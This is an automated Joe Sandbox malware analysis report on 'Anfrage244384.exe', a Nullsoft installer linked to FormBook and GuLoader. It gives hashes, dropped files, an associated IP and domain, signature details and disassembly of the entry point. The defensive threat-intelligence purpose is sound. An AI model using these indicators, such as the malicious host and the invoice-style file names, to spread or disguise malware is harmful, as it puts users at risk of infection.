                    		24940HETZNER-ASDEfalse

                    General Information

                    Joe Sandbox version:41.0.0 Charoite
                    Analysis ID:1550563
                    Start date and time:2024-11-06 20:40:05 +01:00
                    Joe Sandbox product:CloudBasic
                    Overall analysis duration:0h 5m 56s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Cookbook file name:default.jbs
                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                    Number of analysed new started processes analysed:5
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Sample name:Anfrage244384.exe
                    Detection:MAL
                    Classification:mal84.troj.evad.winEXE@3/10@1/1
                    EGA Information:
                    • Successful, ratio: 100%
                    HCA Information:
                    • Successful, ratio: 89%
                    • Number of executed functions: 47
                    • Number of non-executed functions: 291
                    Cookbook Comments:
                    • Found application associated with file extension: .exe
                    • Stop behavior analysis, all processes terminated

                    Warnings

                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
                    • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                    • Not all processes where analyzed, report is missing behavior information
                    • Report size getting too big, too many NtOpenKeyEx calls found.
                    • Report size getting too big, too many NtQueryValueKey calls found.
                    • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                    • VT rate limit hit for: Anfrage244384.exe

                    Simulations

                    Behavior and APIs

                    TimeTypeDescription
                    14:42:02API Interceptor3x Sleep call for process: Anfrage244384.exe modified

                    Joe Sandbox View / Context

                    IPs

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    188.40.95.144Anfrage_244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                        5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                          Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                            Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                              Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                  5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse

                                    Domains

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    familytherapycenter.rsAnfrage_244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144

                                    ASNs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    HETZNER-ASDEhttps://me-qr.com/f/signaramadeerfield?hash=Get hashmaliciousUnknownBrowse
                                    • 49.12.126.78
                                    Payment Confirmation (237 KB).msgGet hashmaliciousHTMLPhisher, Tycoon2FABrowse
                                    • 159.69.48.31
                                    vhUjPXL0wV.exeGet hashmaliciousAsyncRATBrowse
                                    • 91.107.210.50
                                    Anfrage_244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    getscreen-868841125.exeGet hashmaliciousUnknownBrowse
                                    • 78.47.165.25
                                    getscreen-868841125.exeGet hashmaliciousUnknownBrowse
                                    • 78.47.165.25
                                    Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144

                                    JA3 Fingerprints

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    37f463bf4616ecd445d4a1937da06e19Letter of Intent (LOI) For the Company November 2024 PDF.pif.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    FmmYUD4pt7.wsfGet hashmaliciousUnknownBrowse
                                    • 188.40.95.144
                                    rA01_278 Check list#U00b7pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                    • 188.40.95.144
                                    VZ7xFmeuPX.exeGet hashmaliciousUnknownBrowse
                                    • 188.40.95.144
                                    2ULrUoVwTx.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    wmKmOQ868z.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    wmKmOQ868z.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    2ULrUoVwTx.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    p7cCXP3hDz.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    Anfrage_244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144

                                    Dropped Files

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    C:\Users\user\AppData\Local\Temp\nsq755.tmp\System.dllAnfrage_244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                          Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                                            Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                              Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                  5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                    21st OCTOBER 2024 234876sdf ORDER_PDF.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                      21st OCTOBER 2024 234876sdf ORDER_PDF.exeGet hashmaliciousFormBook, GuLoaderBrowse

                                                        Created / dropped Files

                                                        C:\Users\user\AppData\Local\Temp\nsq755.tmp\System.dll

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):11264
                                                        Entropy (8bit):5.7711167426271945
                                                        Encrypted:false
                                                        SSDEEP:192:OPtkumJX7zB22kGwfy0mtVgkCPOsX1un:/702k5qpdsXQn
                                                        MD5:3F176D1EE13B0D7D6BD92E1C7A0B9BAE
                                                        SHA1:FE582246792774C2C9DD15639FFA0ACA90D6FD0B
                                                        SHA-256:FA4AB1D6F79FD677433A31ADA7806373A789D34328DA46CCB0449BBF347BD73E
                                                        SHA-512:0A69124819B7568D0DEA4E9E85CE8FE61C7BA697C934E3A95E2DCFB9F252B1D9DA7FAF8774B6E8EFD614885507ACC94987733EBA09A2F5E7098B774DFC8524B6
                                                        Malicious:false
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                        Joe Sandbox View:
                                                        • Filename: Anfrage_244384.exe, Detection: malicious, Browse
                                                        • Filename: 5112024976.exe, Detection: malicious, Browse
                                                        • Filename: 5112024976.exe, Detection: malicious, Browse
                                                        • Filename: Anfrage24438.zip, Detection: malicious, Browse
                                                        • Filename: Anfrage24438.exe, Detection: malicious, Browse
                                                        • Filename: Anfrage24438.exe, Detection: malicious, Browse
                                                        • Filename: 5112024976.exe, Detection: malicious, Browse
                                                        • Filename: 5112024976.exe, Detection: malicious, Browse
                                                        • Filename: 21st OCTOBER 2024 234876sdf ORDER_PDF.exe, Detection: malicious, Browse
                                                        • Filename: 21st OCTOBER 2024 234876sdf ORDER_PDF.exe, Detection: malicious, Browse
                                                        Reputation:moderate, very likely benign file
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L.....MX...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                        C:\Users\user\AppData\Roaming\secretaryships\Directionless.Bro

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):277033
                                                        Entropy (8bit):7.782355189986513
                                                        Encrypted:false
                                                        SSDEEP:3072:ytWxv7/0J4n/D/l6vHIN47V1bgsNhtyyRB367YYxtUurNRqr5kl+WhbkPknsWmrK:pR/06n/Fs8UlFIVNcW+W6ms4h895cL
                                                        MD5:78F99B2860C20AB074E6127DE24B909A
                                                        SHA1:0A3670E16770DC770353B15BDF592AE0A339701E
                                                        SHA-256:90B7191F16A8D9BEA6975C7893328EF03EDEA95EB8AB2BFEC8824D2616F0316F
                                                        SHA-512:EA08CF813FF839768DB72856E95AB852170F6C4837F026B070CAFC86CB1ACF28627EBF963F3FED0796C630B01AD1309CABD1299986FA1EEF081C8AD8EA4F0FE3
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:.......QQQ......b......c..................................................|.....UU......................v..sss.,,,..ff..................!!!!.....KKKK..Q.......)......RRR...........;.....333....................w.+................aa............aa..............****..................||.........~..{{{{{.eeeee.j....lll./..........(...........\.........\\\\\\....22.dd....................................................!!!!.K..................................#.2.p..cc.N.8.m...........1.....Y.%..rr.................................//......................XX.'''....AAA.E.P.H..................................s......}.........................................Y......nn.UUUUUU...??..................EE..................!......xxx...U..%%%%%...(.......[[[.....".D.....$.FFF.......rr.#.....................000000..E.............4......................................\\\.`......r...........&.......>>>>>>...............oo..................--.......................///...............+....MM..M..............O..

                                                        C:\Users\user\AppData\Roaming\secretaryships\Khami\anya.por

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):448073
                                                        Entropy (8bit):1.2554221597008608
                                                        Encrypted:false
                                                        SSDEEP:1536:i9EUBeeNEu//hQg77ea6OP/B1p7to4APRUYZAkxe:qFZO5u/B1pBo510
                                                        MD5:3AD8D5763CA124C7392D1F4F53D24F0E
                                                        SHA1:17D48EF1AB8D52A31821A069C225D45201535899
                                                        SHA-256:3965D74DBD296AA8E7524C773FE81FE63A78355145502153CB577E9CB136DDA0
                                                        SHA-512:EE8BDE196A33297BFD4E51ED01E7D0178CF457497E822771D2BE3C58A97681AC52CD19A2BBBB71220F06F6D936A6AA67966295DF3C676104B9643F07CBE37EC8
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:............y...k......... ....L..............................................................c....................d...........................p..............R.................................................5...............f.......{......................................................................................J...........@.................E....h...............0................M.................'..............................................-...............Z.........................{...............T............c.W..............n....................H...........................................|...................................^...........w.................c...............................).....................................y.....<.......................................T........................................................3.....S..<.......?........................................1!......^.............................t................................................G........

                                                        C:\Users\user\AppData\Roaming\secretaryships\Khami\besiddertrang.gra

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):362911
                                                        Entropy (8bit):1.2562704713226092
                                                        Encrypted:false
                                                        SSDEEP:768:uFKWW9YiDlIMhmjVacve6tEvHBLNB3tQsrTpPH8mZLAUFwsahGF48hDpWRcKthwz:u5W9yMJLNbJ1CbFV3Gd6Ie48dPs
                                                        MD5:8AB9852274FA64E09B5711A2E7D94AAB
                                                        SHA1:2C39272B969040B4C185EE4A69A5F04FD1F7C0DB
                                                        SHA-256:FCD149788A3530E5E2CF5E17A09B1DE51EB67B51F3E8941E7091F88B610373F1
                                                        SHA-512:6761208A22E8D93D70465E6DD9CF1B53826AA6BF0418DCCB0A6E5816A183790A61AD67EDCF52D21366975014701107563CE47A0465CEE801300493AEB566CC69
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:....-......................................................................?d..........\.a.....................................8...............x...........e...................................)...............+..............................................i...................................................................................................................4......j................................................................................"......................................Z.....%...................................................................................................F............................................................................g...............................E./.....................................................................................Y........#.......F.......n.M.........................................................................................................................W..................................................

                                                        C:\Users\user\AppData\Roaming\secretaryships\Khami\darbyite.txt

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):497
                                                        Entropy (8bit):4.296439217688297
                                                        Encrypted:false
                                                        SSDEEP:12:kdESMQrs7ZnIyxrqlLIRF0+UAkN0lCGsMqejQlJ8:QjMfpIuqPAEsOi
                                                        MD5:1560371431CEB91914AF5B9D0D307EE1
                                                        SHA1:182B8979D4D0F9F26366653638A9C92FDAFF0D56
                                                        SHA-256:72A2010CDB6ED407FCA17CDB181D5F01801F16040C2C9443BD7CB5032CDAAEF7
                                                        SHA-512:865EF0F7636149A47043183583635C2A4306BF49565166760672B88F0F9DA89A529FE4166DFF496327304E56A8A460B8113E5F3D58601C0B8A3EFAABD792AF3D
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:avenging piktogrammernes duecento korsedderkop skurvognsudlejningernes fnges ranaria..kavitet ubetalelige forhalingen passado nautically formaalsbestemmelsernes admiralsuniformers..franchot unimposing rimfire.bemba barsac unflaked skbnesvanger.tige backchats leveret viktualieforretningernes processal dignitas altica epoxyharpikset sergenter forureningsbegrnsedes..sforsvaret antiquating photomechanically enighedernes firepot megrez almon aeneus madrassen thrallborn denoteres slipup tvebakken..

                                                        C:\Users\user\AppData\Roaming\secretaryships\Khami\nilgedde.mes

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                        File Type:Matlab v4 mat-file (little endian) Y, numeric, rows 0, columns 0
                                                        Category:dropped
                                                        Size (bytes):354845
                                                        Entropy (8bit):1.2446363869824946
                                                        Encrypted:false
                                                        SSDEEP:768:E2oz5FNvncy2DZRau7W0sxOvPfSfpg5rWuWAAUIdde/FwPPMk/FOuyQv9biuPia6:opho02mYrKiKLFyJ1AIu2
                                                        MD5:DF7A44909B03AB5BC45910B405D9977A
                                                        SHA1:3D0583A7DFB39E559827189E02123F2C983A21D5
                                                        SHA-256:5A3B61A0BC8E81E756374D2A9FF5087FA4496543A635738ACA8911E95D6340D9
                                                        SHA-512:C2B4E951A185FC3FB75109B5CAA554431C1517588D04B8F2BA865F75BE448A0448364BCB84253C9B44579078787DDA616F33666C0C1BF902EC644EBC9A6FE621
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:..................%.Y.............................[......................z...........................................8.................{................b.......W..........................................#.........................................%....z..................7......................................x.i...+............................................................................8......................................................................................................................-..3..................................................................................|............T...........................#...........\.....A.............................................7..........'.................... ...................].................J.J..........s................................g..............W........................................................................................................$...g..........................................................

                                                        C:\Users\user\AppData\Roaming\secretaryships\Khami\selefant.kri

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):298017
                                                        Entropy (8bit):1.245520550165085
                                                        Encrypted:false
                                                        SSDEEP:768:nLoDoRi0SWvTrmnVqvh6dzfCaci65UhXqjMctTGA3QBgdRWqrw3q3LFPRvx7H155:DStBsLk6gsifeQIGA0iYRwvy8n
                                                        MD5:B4C9FC75BAB8C9F006A7D9DDBC249F79
                                                        SHA1:70D4047E7E3BB10CF237B82775C89A1D92700162
                                                        SHA-256:1D84F9462C244A4500C213DF8DD79971B286392CA02BC536F5F6C3EEBC94E7E3
                                                        SHA-512:2E2279CB3755AC5708ABB30E8342235B7F0A24223E3D6F4B2B21B62E59012A5126ADC1BD73D7B64E72634728DECCE7A049D3E6F5055F8D74E959BEE54EDBEA4C
                                                        Malicious:false
                                                        Preview:............................_..,...........................................................;...........................................................7...O..................'.........................................P.........L................@....................8....................v..................G.....h.............................................m..+b.....................................................m.......C.....................................i..........................................................................................,................................C..........a...........Y......,...........q....................................................................................................................................................................................................................p................S................L..........)..............................................kF........^........E.................................................

                                                        C:\Users\user\AppData\Roaming\secretaryships\Khami\speil.int

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):497497
                                                        Entropy (8bit):1.2525295412969446
                                                        Encrypted:false
                                                        SSDEEP:1536:rbNZ/Rg8JCCgxT2eIgde/lBWTTBwGceukAdTYz91n6n:9NRg836IVLWHeGxKYQ
                                                        MD5:F3F6C6E37EAB51D3B9B9C059C1EB874C
                                                        SHA1:401E5740CCFBC1DA83BD9B426C11020C812986F2
                                                        SHA-256:B5A607F50C65E41B2BFF7F852F27373177D326D9DFA1040E1C2B3AF62F757BAB
                                                        SHA-512:060B328595ADAF9E85B390AA2AACEEFE4C6197294B7C45594798755C5E04BE1E2110F617B51E38D7DF423CD807FA81B30702CE2548563980B9CA195ECF2C11A7
                                                        Malicious:false
                                                        Preview:.........................................o................j........................................c..6......................................../....................................................m...............................r.D................................T.........................................................8....................x...................................................................!.....O....\................G.........................................G........n....."................:.........................................................................................................@.......<..................................................i.......k..............................................................................................................................=.........g.........................k.............A.......[........................)...........e................................b.............................................6.............

                                                        C:\Users\user\AppData\Roaming\secretaryships\Tingid.pig

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):476422
                                                        Entropy (8bit):1.2552031449987011
                                                        Encrypted:false
                                                        SSDEEP:1536:zGmPxn4XjZOVebnJjvYbTUBhGKcjnO/EeMHPm:Sm6zYVb849nH6
                                                        MD5:F236A74F28F6F32F81F1347D9F129268
                                                        SHA1:D5BE521661EE4BF3C186C3EAA0411DD5DF6F3EBA
                                                        SHA-256:BEED12F00B12156FF9FA63595DE11A5C01493CF5F85488CB2E159CF1A8236778
                                                        SHA-512:D6AD37DDF7B6B38B90F09186AC81C6A76F16F9A4613D6113F10D7B2A4F68129E570EFFC77A19B04F276277B7A569EBD5FD4A48D2E2E72CEA8CEE5A8F67CC5EF4
                                                        Malicious:false
                                                        Preview:.................................................................7...........................).....$....%..........................#.....M.....................................6.........N.........).......................................................................................a..............t..................................................T.........................................@...........................+..U...................A'..............L..................................................../.............2..............k.........................................................................................................&.............................................>...........................................................|..........................?...............................&...................................n.q......}....................................E......................................................p........................................6..........

                                                        C:\Users\user\AppData\Roaming\secretaryships\epipactis.God

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):56516
                                                        Entropy (8bit):4.583805984026286
                                                        Encrypted:false
                                                        SSDEEP:768:mlbgCaiC2r+Lt41wvMoPWEsTyyUY7wJ8OeiKVBtWhGKnUjWJsBMT9nM6+4:0C26i1wEoPWhP772atWhJerBPi
                                                        MD5:1F7FE1B8AE4DE23A22291128B4441870
                                                        SHA1:37A5F1805B311CBBF7D9A130998CA7940F64D110
                                                        SHA-256:8987E1EFB56587F89E7C2D683A8B146BBCA90C1861E969EC964B628D1172B2C9
                                                        SHA-512:D9773CEA400EC75B0E1EB99C10CC0D96BA66009A3BDFDD1BAE7A787A5248632155159E700353FCB1F47B7184E6DE7ED9CABC9721FAEF67340EF92A4C50669CD7
                                                        Malicious:false
                                                        Preview:.......T.......q....................................................###..=....................ddd......B.q..........mm........KKKK...........kk.QQ.DD...............9.....;.....|.......u.........t............MMM.....111............ccccc...............b.T...h...........'...........8..ppp...........R.......n..........!!.............[...........(........[...............c........&&..........t..QQQQQQ..@@.................h..Z....`..U..kk.........]............;......+...........[.EEEE..33333.|.............................. .........^^.(((..k......%%%........................]]..3......C......\\\......22......W.888.................5.........r.HHHHH...TTTT........E...................;....@.:.-....33.......t......=................U..::.....................yyy.,..!!!!....TT.........VVVV....B.............0....z.........".....jj.................&........(.....]..1........:::..................777.............jjjj.zz...........%...cc.................................w..<<............??../........eee...

                                                        Static File Info

                                                        General

                                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                        Entropy (8bit):7.5758345610971745
                                                        TrID:
                                                        • Win32 Executable (generic) a (10002005/4) 99.96%
                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                        • DOS Executable Generic (2002/1) 0.02%
                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                        File name:Anfrage244384.exe
                                                        File size:1'235'192 bytes
                                                        MD5:7a9799db14a1d4af0b38f4b69879a78f
                                                        SHA1:89c2af745f36e1853ef82b4b21c6d461c8414ca5
                                                        SHA256:45ca0116808ce0b13a4e212c742ab2cd2b169a5cbfa841c8826636a6f5a76009
                                                        SHA512:59ee492e1a981e232f05f2d37e9feae711763e18d18de356935cc58ace3adc5d32e986caed414dc6ac2dbabaa6bbb6463d4a048697fb554606eb63d91a82d30f
                                                        SSDEEP:24576:PCAoDyk/vnt3h1CzLuTIvWMJXeQLryx8Eh7w6/tuwmeuHdB4bU4VD4O:PCAfqvtx1UuTIuMJXbLOx8Of4w5uHHS7
                                                        TLSH:1945124377770AA6E85984F7966ACD307F62BC7B014006EB325CBB1A5BB73E0412B539
                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F.*.....F...G.v.F.*.....F...v...F...@...F.Rich..F.........................PE..L...<.MX.................b...|.....

                                                        File Icon

                                                        Icon Hash:076d76bb4c713307

                                                        Static PE Info

                                                        General

                                                        Entrypoint:0x4031a3
                                                        Entrypoint Section:.text
                                                        Digitally signed:true
                                                        Imagebase:0x400000
                                                        Subsystem:windows gui
                                                        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                        DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                        Time Stamp:0x584DCA3C [Sun Dec 11 21:50:52 2016 UTC]
                                                        TLS Callbacks:
                                                        CLR (.Net) Version:
                                                        OS Version Major:4
                                                        OS Version Minor:0
                                                        File Version Major:4
                                                        File Version Minor:0
                                                        Subsystem Version Major:4
                                                        Subsystem Version Minor:0
                                                        Import Hash:b78ecf47c0a3e24a6f4af114e2d1f5de

                                                        Authenticode Signature

                                                        Signature Valid:false
                                                        Signature Issuer:CN=Formlernes, O=Formlernes, L=Mougins, C=FR
                                                        Signature Validation Error:A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
                                                        Error Number:-2146762487
                                                        Not Before, Not After
                                                        • 18/11/2023 02:33:06 17/11/2026 02:33:06
                                                        Subject Chain
                                                        • CN=Formlernes, O=Formlernes, L=Mougins, C=FR
                                                        Version:3
                                                        Thumbprint MD5:06A678BF4CEE2BB2318FF448D2382292
                                                        Thumbprint SHA-1:A600C7C76FD42A51628AECBB26FB0139943E39F3
                                                        Thumbprint SHA-256:68DA0290D20387FFD85C6E1DA48D8758E2A71A91B6C781CF019E8AC62F148217
                                                        Serial:6EEEC2F1155A84AF6494EB2D6090BCD74FE41517

                                                        Entrypoint Preview

                                                        Instruction
                                                        sub esp, 00000184h
                                                        push ebx
                                                        push esi
                                                        push edi
                                                        xor ebx, ebx
                                                        push 00008001h
                                                        mov dword ptr [esp+18h], ebx
                                                        mov dword ptr [esp+10h], 0040A198h
                                                        mov dword ptr [esp+20h], ebx
                                                        mov byte ptr [esp+14h], 00000020h
                                                        call dword ptr [004080A8h]
                                                        call dword ptr [004080A4h]
                                                        cmp ax, 00000006h
                                                        je 00007F1F3C50E773h
                                                        push ebx
                                                        call 00007F1F3C5116E1h
                                                        cmp eax, ebx
                                                        je 00007F1F3C50E769h
                                                        push 00000C00h
                                                        call eax
                                                        mov esi, 00408298h
                                                        push esi
                                                        call 00007F1F3C51165Dh
                                                        push esi
                                                        call dword ptr [004080A0h]
                                                        lea esi, dword ptr [esi+eax+01h]
                                                        cmp byte ptr [esi], bl
                                                        jne 00007F1F3C50E74Dh
                                                        push ebp
                                                        push 00000009h
                                                        call 00007F1F3C5116B4h
                                                        push 00000007h
                                                        call 00007F1F3C5116ADh
                                                        mov dword ptr [0042F404h], eax
                                                        call dword ptr [00408044h]
                                                        push ebx
                                                        call dword ptr [00408288h]
                                                        mov dword ptr [0042F4B8h], eax
                                                        push ebx
                                                        lea eax, dword ptr [esp+38h]
                                                        push 00000160h
                                                        push eax
                                                        push ebx
                                                        push 00429828h
                                                        call dword ptr [00408174h]
                                                        push 0040A188h
                                                        push 0042EC00h
                                                        call 00007F1F3C5112D7h
                                                        call dword ptr [0040809Ch]
                                                        mov ebp, 00435000h
                                                        push eax
                                                        push ebp
                                                        call 00007F1F3C5112C5h
                                                        push ebx
                                                        call dword ptr [00408154h]

                                                        Rich Headers

                                                        Programming Language:
                                                        • [EXP] VC++ 6.0 SP5 build 8804

                                                        Data Directories

                                                        NameVirtual AddressVirtual Size Is in Section
                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x85340xa0.rdata
                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x4b0000x64f00.rsrc
                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x12b6380x22c0
                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IAT0x80000x298.rdata
                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                        Sections

                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                        .text0x10000x60710x620086ec2a2da0012903b23e33f511180572False0.6687659438775511data6.434342820031866IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                        .rdata0x80000x13520x1400cd090b7c5bd9ae3da2a43d4f02ef98b7False0.4599609375data5.237297010093776IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .data0xa0000x254f80x600e98382d1559cdefaafaf45200fe1faf0False0.4544270833333333data4.037252180314336IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .ndata0x300000x1b0000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .rsrc0x4b0000x64f000x650004b35ddad0638afdc14d8651f31f9f72eFalse0.5893022896039604data6.144636705094013IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                        Resources

                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                        RT_BITMAP0x4b4000x368Device independent bitmap graphic, 96 x 16 x 4, image size 768EnglishUnited States0.23623853211009174
                                                        RT_ICON0x4b7680x4180cDevice independent bitmap graphic, 255 x 510 x 32, image size 260100EnglishUnited States0.5566530003727171
                                                        RT_ICON0x8cf780x10828Device independent bitmap graphic, 128 x 256 x 32, image size 65536EnglishUnited States0.6340796167041287
                                                        RT_ICON0x9d7a00x94a8Device independent bitmap graphic, 96 x 192 x 32, image size 36864EnglishUnited States0.6664652091654404
                                                        RT_ICON0xa6c480x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16384EnglishUnited States0.6956188001889466
                                                        RT_ICON0xaae700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216EnglishUnited States0.6902489626556016
                                                        RT_ICON0xad4180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096EnglishUnited States0.724437148217636
                                                        RT_ICON0xae4c00x988Device independent bitmap graphic, 24 x 48 x 32, image size 2304EnglishUnited States0.7479508196721312
                                                        RT_ICON0xaee480x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024EnglishUnited States0.799645390070922
                                                        RT_DIALOG0xaf2b00x144dataEnglishUnited States0.5216049382716049
                                                        RT_DIALOG0xaf3f80x13cdataEnglishUnited States0.5506329113924051
                                                        RT_DIALOG0xaf5380x100dataEnglishUnited States0.5234375
                                                        RT_DIALOG0xaf6380x11cdataEnglishUnited States0.6091549295774648
                                                        RT_DIALOG0xaf7580xc4dataEnglishUnited States0.5918367346938775
